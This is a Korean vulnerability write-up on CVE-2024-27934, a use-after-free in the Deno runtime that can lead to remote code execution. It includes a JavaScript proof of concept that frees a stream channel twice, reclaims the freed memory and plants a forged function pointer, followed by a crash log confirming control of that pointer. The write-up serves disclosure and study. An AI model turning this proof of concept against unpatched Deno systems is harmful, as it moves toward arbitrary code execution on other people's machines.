[하루한줄] CVE-2024-27934: Deno의 Use-After-Free로 인한 RCE 취약점
URL
https://github.com/denoland/deno/security/advisories/GHSA-3j27-563v-28wf
Target
- Deno ≥ 1.36.2
- Deno < 1.40.3
Explain
JavaScript, TypeScript 런타임인 Deno에서 RCE가 가능한 Use-After-Free 취약점이 발생했습니다.
Deno에서는 *const c_void
와 external!()
매크로로 정의되는 ExternalPointer
를 사용하여 외부 lifetime을 가진 임의의 void *
를 wrapping 하는 v8::External
을 표현합니다. 이는 Rust의 lifetime safety를 무시하기 때문에 안전하지 않습니다. 따라서 Use-After-Free가 발생해도 이를 탐지하지 못하여 해당 취약점이 발생하게 되었습니다.
아래의 PoC에서는 Use-After-Free를 통해 임의 코드 실행이 가능함을 보입니다
const ops = Deno[Deno.internal].core.ops;
const rid = ops.op_readable_stream_resource_allocate();
const sink = ops.op_readable_stream_resource_get_sink(rid);
// close
ops.op_readable_stream_resource_close(sink);
ops.op_readable_stream_resource_close(sink);
// reclaim BoundedBufferChannelInner
const ab = new ArrayBuffer(0x8058);
const dv = new DataView(ab);
// forge chunk contents
dv.setBigUint64(0, 2n, true);
dv.setBigUint64(0x8030, 0x1337c0d30000n, true);
// trigger segfault
Deno.close(rid);
위 코드에서는 1.38.1 버전 전까지는 *const c_void
가, 그 이후부터는 ExternalPointer
가 사용되는 stream_resource를 사용하여 Use-After-Free를 발생시킵니다.
먼저 ops.op_readable_stream_resource_allocate
를 통해 stream resource를 할당하고 반환된 resource id를 rid
에 저장합니다. 이 과정에서 BoundedBufferChannelInner
가 할당됩니다.
pub fn op_readable_stream_resource_allocate(state: &mut OpState) -> ResourceId {
let completion = CompletionHandle::default();
let resource = ReadableStreamResource {
read_queue: Default::default(),
cancel_handle: Default::default(),
channel: BoundedBufferChannel::default(),
data: ReadableStreamResourceData { completion },
size_hint: (0, None),
};
state.resource_table.add(resource)
}
...
struct BoundedBufferChannel {
inner: Rc<RefCell<BoundedBufferChannelInner>>,
}
...
struct BoundedBufferChannelInner {
buffers: [MaybeUninit<V8Slice<u8>>; BUFFER_CHANNEL_SIZE as _],
ring_producer: u16,
ring_consumer: u16,
error: Option<AnyError>,
current_size: usize,
// TODO(mmastrac): we can math this field instead of accounting for it
len: usize,
closed: bool,
read_waker: Option<Waker>,
write_waker: Option<Waker>,
_unsend: PhantomData<std::sync::MutexGuard<'static, ()>>,
}
이후 rid
를 사용하여 호출한 아래의 op_readable_stream_resource_get_sink
에서는 channel의 ExternalPointer
가 생성됩니다.
pub fn op_readable_stream_resource_get_sink(
state: &mut OpState,
#[smi] rid: ResourceId,
) -> *const c_void {
let Ok(resource) = state.resource_table.get::<ReadableStreamResource>(rid)
else {
return std::ptr::null();
};
ExternalPointer::new(resource.channel.clone()).into_raw()
}
op_readable_stream_resource_close
호출로 channel이 해제된 다음 Deno.close(rid)
에서 해제된 메모리에 접근하면서 Use-After-Free가 발생합니다. PoC에서는 ArrayBuffer
와 DataView
를 통해 Use-After-Free가 발생하는 메모리를 재할당 받은 다음 close
호출 시에 함수 포인터로 참조되는 부분에 데이터로 1337c0d30008
를 썼고 해당 주소를 참조하면서 크래시가 발생합니다.
[ 6439.821046] deno[15088]: segfault at 1337c0d30008 ip 0000557b53e2fb3e sp 00007fffd485ac70 error 4 in deno[557b51714000+2d7f000] likely on CPU 12 (core 12, socket 0)
[ 6439.821054] Code: 00 00 00 00 48 85 c0 74 03 ff 50 08 49 8b 86 30 80 00 00 49 8b be 38 80 00 00 49 c7 86 30 80 00 00 00 00 00 00 48 85 c0 74 03 <ff> 50 08 48 ff 03 48 83 c4 08 5b 41 5e c3 48 8d 3d 0d 1a 59 fb 48
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.